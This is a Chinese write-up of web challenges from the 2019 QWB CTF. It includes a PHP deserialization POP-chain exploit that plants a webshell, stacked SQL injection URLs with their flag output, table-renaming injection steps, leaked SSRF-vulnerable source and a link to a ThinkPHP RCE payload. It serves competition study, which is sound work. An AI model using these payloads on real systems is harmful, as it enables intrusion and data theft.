强网杯CTF 2019 Web review

upload

www.tar.gz 源代码泄露
审计代码发现使用的路由

Route::post("login",'web/login/login');

Route::get("index",'web/index/index');

Route::get("home","web/index/home");

Route::post("register","web/register/register");

Route::get("logout","web/index/logout");

Route::post("upload","web/profile/upload_img");

Route::miss('web/index/index')

在 controller 里面阅读逻辑,发现

    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));

可以构造反序列化,寻找业务上的生成点,在 profile 中,调用链为 upload_img-update_img-update_cookie。并且存在魔法函数

    public function __get($name)
    {
        return $this->except[$name];
    }


    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

猜测是反序列化,调用 profile 的方法触发 call,利用 get 返回函数名,可以实现任意函数执行,但没有含参的函数,不能构造代码执行。
但是可以将原来的 png 转为 php,利用:
@copy($this->filename_tmp, $this->filename);
那我们就需要调用 upload_img函数,寻找 POP 链,在 register 里面有

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

调用了 index,根据之前的 if($this->{$name}),可以构造except['index']=upload_img
exp 如下,结果填入到 cookie,刷新 /index.php/home,可在 upload 看到 webshell,flag 在 /flag

<?php
namespace app\web\controller;
//use think\Controller;


class Register //extends Controller
{
    public $checker;
    public $registed;


    public function __construct()
    {
        
    }
    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}
    
class Profile //extends Controller
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    
        public function __construct()
        {
            
            $this->upload_menu="2e25bf05f23b63a5b1f744933543d723";
            @chdir("../public/upload");
            if(!is_dir($this->upload_menu)){
                @mkdir($this->upload_menu);
            }
            @chdir($this->upload_menu);
        }
    
        public function __get($name)
        {
            return $this->except[$name];
        }
    
        public function __call($name, $arguments)
        {
            if($this->{$name}){
                $this->{$this->{$name}}($arguments);
            }
        }
    
    }
$a=new Profile();
$a->checker=0;
$a->ext=1;
$a->filename_tmp="../public/upload/2e25bf05f23b63a5b1f744933543d723/8fc414ee6fa76c46440da2841aa316db.png";
$a->filename="../public/upload/s.php";
$a->except=array('index'=>'upload_img');


$aa=new Register();
$aa->registed=0;
$aa->checker=$a;


print(base64_encode(serialize($aa)));

高明的黑客

队友做的,但是看了其他师傅的 wp,发现成熟一点的思路还是匹配出 GET 或者 POST 的参数,然后提交 echo xx 这种 eval 和 system 都能执行的语句,匹配结果。

随便注

解法 1

堆叠查询,利用 prepare 调用。
https://dev.mysql.com/doc/refman/5.5/en/sql-syntax-prepared-statements.html
https://blog.csdn.net/lqx_sunhan/article/details/79852063

http://117.78.39.172:31640/?inject=0';SET+@SQLString=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE+test+FROM+@SQLString;EXECUTE+test;#
array(0) {<br />
}<br />
array(1) {<br />
  [0]=><br />
  array(1) {<br />
    ["flag"]=><br />
    string(38) "flag{1c416f91263eaf076feebc2771bc40ad}"<br />
  }<br />

解法 2

读了下其他师傅的 wp,还可以通过 alter 更改表名,让当前的查询把 flag 查出来。

首先 ?inject=1%27;show tables; 得到表名,然后 show columns from `1919810931114514` 得到列名,思路就是把 1919810931114514 改成 words, alter table words rename xxx;alter table `1919810931114514` rename words;

可是前者少一个 id 列,这里可以把 flag 列改为 id,或者单独加一个 id 列。

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

alter table `words` add(id int default 1);

ref:
https://altman.vip/2019/05/27/QWB2019-writeup/#随便注
https://www.zhaoj.in/read-5873.html

Babywebbb

可参考:

https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/#babywebbb

https://github.com/r3kapig/CTF-challenge/tree/master/20190528-qwb

babywp

POST /index.php?page=info HTTP/1.1
Host: 119.3.243.70:18888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://119.3.243.70:18888/index.php?page=info
Cookie: PHPSESSID=nm9tbgqdqb6b0sthao5r6d4id1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

secret=123&url=http://xxxx/x.png

secret 有长度限制,有过滤 '等符号 并且 url 对协议过滤 file://

提示 bof,usercontrol,发现 secret 长度过长出错

    # 0x01 UserControl
    * Register
    1 USERNAME PASSWORD
    * Login
    2 USERNAME PASSWORD
    * Auth
    3 SESSION
    * Secret
    Not Finished ..
    
    # 0x02 Makefile
   
    usercontrol: usercontorl.c
        cc -g -I../src -o usercontrol usercontrol.c -I../src -L.. -liniparser -z execstack -D_FORTIFY_SOURCE=2 -z relro -fpic -z now -s -pie -fPIE
    

栈执行,PIE 开了,不知道能不能打印 /proc/self/maps

感觉像是 secret 存在溢出,题目说 bof's offset is 1064, and u need address of stack,需要 leak 栈地址

还给了个内网地址 172.17.0.2:9999

智能门锁

/demo/get_info.php?url SSRF 可以读源码,部分源码如下:

cmdline:php-fpm: pool www

index.php

<?php
require_once('waf.php');
require_once('login_check.php');
date_default_timezone_set('Asia/Shanghai');

$start_time = strtotime("2019-5-1 16:00:10");

$difference = time() - $start_time;

$days = (int)($difference / 86400);
$hours = (int)($difference % 86400 / 3600);
$minus = (int)($difference % 86400 % 3600 / 60);
$online_time = "{$days}天{$hours}小时{$minus}分";

$system_announce_url = "https://factory.ctf.aoicloud.com/announce.php";
$local__announce_url = "https://factory.ctf.aoicloud.com/demo/announce.php";
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
    
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <title>智能锁管理后台</title>
        <link crossorigin="anonymous" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" href="https://lib.baomitu.com/twitter-bootstrap/4.1.0/css/bootstrap.min.css" rel="stylesheet">
        <script src="https://cdn.staticfile.org/jquery/3.2.1/jquery.min.js"></script>
        <script src="https://cdn.staticfile.org/popper.js/1.12.5/umd/popper.min.js"></script>
        <script src="https://cdn.staticfile.org/twitter-bootstrap/4.1.0/js/bootstrap.min.js"></script>
    </head>
    
    <body>
        <nav class="navbar navbar-expand-sm bg-dark navbar-dark"> <a class="navbar-brand" href="#">睿智牌</a>

            <ul class="navbar-nav">
                <li class="nav-item"> <a class="nav-link" href="index.php">系统状态</a>

                </li>
                <li class="nav-item"> <a class="nav-link" href="locks.php">门锁管理</a>

                </li>
                <li class="nav-item"> <a class="nav-link" href="settings.php">系统设置</a>

                </li>
            </ul>
        </nav>
        <div class="container mt-5">
            <div class="row">
                <div class="col-md-6">
                    <div class="card">
                        <div class="card-header bg-info text-white">
                            <h3>系统状态</h3>
                        </div>
                        <div class="card-body">
                            <div class="card-text">
                                <p>系统已接入门锁:<code> 3 </code> 个</p>
                                <p>当前在线门锁:<code> 3 </code> 个, 在线率:<code> 100% </code></p>
                                <p>系统已运行时间:<code><?php echo $online_time; ?></code></p>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="card ">
                        <div class="card-header bg-primary text-white">
                            <div class="card-title">
                                    <h3>通知公告</h3>
                            </div>
                        </div>
                        <div class="card-body" id="accordion">
                            
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <script>
            $(function(){
                $.getJSON("get_info.php", {url: "<?php echo $system_announce_url; ?>"}, function(data){
                    let index = 0;
                    data.forEach(function(announce){
                    	index += 1;
                        $('#accordion').append('<div class="card">\
                                <div class="card-header">\
                                    <a class="card-link" data-toggle="collapse" href="#collapsea'+index+'">'+announce.title+'(来自:智能锁通知)</a>\
                                </div>\
                                <div id="collapsea'+index+'" class="collapse show" data-parent="#accordion">\
                                    <div class="card-body">'+announce['info']+'</div>\
                                </div>\
                            </div>');
                    });
                });
                $.getJSON("get_info.php", {url: "<?php echo $local__announce_url; ?>"}, function(data){
                    let index = 0;
                    data.forEach(function(announce){
                    	index += 1;
                        $('#accordion').append('<div class="card">\
                                <div class="card-header">\
                                    <a class="card-link" data-toggle="collapse" href="#collapsea'+index+'">'+announce.title+'(来自:智能锁通知)</a>\
                                </div>\
                                <div id="collapsea'+index+'" class="collapse show" data-parent="#accordion">\
                                    <div class="card-body">'+announce['info']+'</div>\
                                </div>\
                            </div>');
                    });
                });
            });
        </script>
    </body>
</html>

waf.php

<?php
function get_real_ip(){ 
    $ip=false; 
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){ 
        $ip=$_SERVER['HTTP_CLIENT_IP']; 
    }
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){ 
        $ips=explode (', ', $_SERVER['HTTP_X_FORWARDED_FOR']); 
        if($ip){ array_unshift($ips, $ip); $ip=FALSE; }
        for ($i=0; $i < count($ips); $i++){
            if(!eregi ('^(10│172.16│192.168).', $ips[$i])){
                $ip=$ips[$i];
                break;
            }
        }
    }
    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); 
}

return;



$client_ip = explode('.', get_real_ip());
if ($client_ip[0] != '192' and $client_ip[1] != '168') {
	die("访问ip段不正确");
}

get_info.php

<?php //require_once( 'waf.php'); require_once( 'login_check.php');
class Curl
{
    private $curl;
    private $url;
    private $content;

    public function __construct()
    {
        $this->reload();
    }

    public function reload()
    {
        if (is_resource($this->curl)) {
            curl_close($this->curl);
        }
        $this->curl = curl_init();
        curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, true);
        $this->returnHeader(true);
        $this->setTimeout(10);
        $this->setUA("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36");
        return $this;
    }

    public function createFile($fileName)
    {
        return curl_file_create($fileName, 'image/jpeg', '1.jpg');
    }

    public function ignoreSSL()
    {
        curl_setopt($this->curl, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER, 0);
    }

    public function setUA($ua)
    {
        curl_setopt($this->curl, CURLOPT_USERAGENT, $ua);
        return $this;
    }

    public function setUrl($url)
    {
        // if ($reload) {
        //     $this->reload();
        // }
        $this->url = $url;
        curl_setopt($this->curl, CURLOPT_URL, $url);
        return $this;
    }

    public function returnHeader($bool)
    {
        curl_setopt($this->curl, CURLOPT_HEADER, ($bool == true) ? 1 : 0);
        return $this;
    }

    public function returnBody($bool)
    {
        curl_setopt($this->curl, CURLOPT_NOBODY, ($bool == false) ? 1 : 0);
        return $this;
    }

    public function setHeader($arr)
    {
        curl_setopt($this->curl, CURLOPT_HTTPHEADER, $arr);
        return $this;
    }

    public function setCookie($cookies)
    {
        $payload = '';
        foreach ($cookies as $key => $cookie) {
            $payload .= "$key=" . urlencode($cookie) . "; ";
        }
        curl_setopt($this->curl, CURLOPT_COOKIE, $payload);
        return $this;
    }

    public function setReferer($referer)
    {
        curl_setopt($this->curl, CURLOPT_REFERER, $referer);
        return $this;
    }

    public function setGet($get)
    {
        $payload = '?';
        foreach ($get as $key => $content) {
            $payload .= urlencode($key) . '=' . urlencode($content) . '&';
        }
        $url = $this->url . $payload;
        $url = substr($url, 0, strlen($url) - 1);
        curl_setopt($this->curl, CURLOPT_URL, $url);
        return $this;
    }

    public function setPost($post)
    {
        $payload = '';
        foreach ($post as $key => $content) {
            $payload .= urlencode($key) . '=' . urlencode($content) . '&';
        }
        curl_setopt($this->curl, CURLOPT_POSTFIELDS, $payload);
        return $this;
    }

    public function setRawPost($post)
    {
        curl_setopt($this->curl, CURLOPT_POSTFIELDS, $post);
        return $this;
    }

    public function setContentType($type)
    {
        curl_setopt($this->curl, CURLOPT_HTTPHEADER, [
            "Content-Type: $type"
        ]);
        return $this;
    }

    public function setTimeout($timeout)
    {
        curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($this->curl, CURLOPT_TIMEOUT, $timeout);
        return $this;
    }

    public function keepCookie()
    {
        curl_setopt($this->curl, CURLOPT_COOKIEJAR, '');
        curl_setopt($this->curl, CURLOPT_COOKIEFILE, '');
        return $this;
    }

    public function exec()
    {
        $this->content = curl_exec($this->curl);
        // $this->reload();
        return $this->content;
    }

    public function getStatusCode()
    {
        return curl_getinfo($this->curl, CURLINFO_HTTP_CODE);
    }

    public function getCookie()
    {
        preg_match_all('/Set-Cookie: (.*);/iU', $this->content, $this->cookies);
        $payload = [];
        foreach ($this->cookies[1] as $this->cookie) {
            $key = explode('=', $this->cookie);
            if (isset($payload[$key[0]]) and $payload[$key[0]] !== '') {
                continue;
            }
            $payload[$key[0]] = $key[1];
        }
        return $payload;
    }

    public function getLocation()
    {
        if (preg_match('/Location: (.*)$/m', $this->content, $location)) {
            return $location[1] ? substr($location[1], 0, strlen($location[1]) - 1) : '';
        }
        return '';
    }

    public function getContent()
    {
        return $this->content;
    }

    public function isError()
    {
        return (curl_errno($this->curl)) ? true : false;
    }
}

// echo $_GET['url'];s
// var_dump($_GET['url']);
// die();
$curl = new Curl();
$curl->setUrl($_GET['url']);
echo $curl->returnHeader(false)->exec();

后面分析固件的思路卡的很难受,一血队伍 @Object 分享了他们的 WP

qwb2019-object-smartlock

上单

https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
payload 可以直接打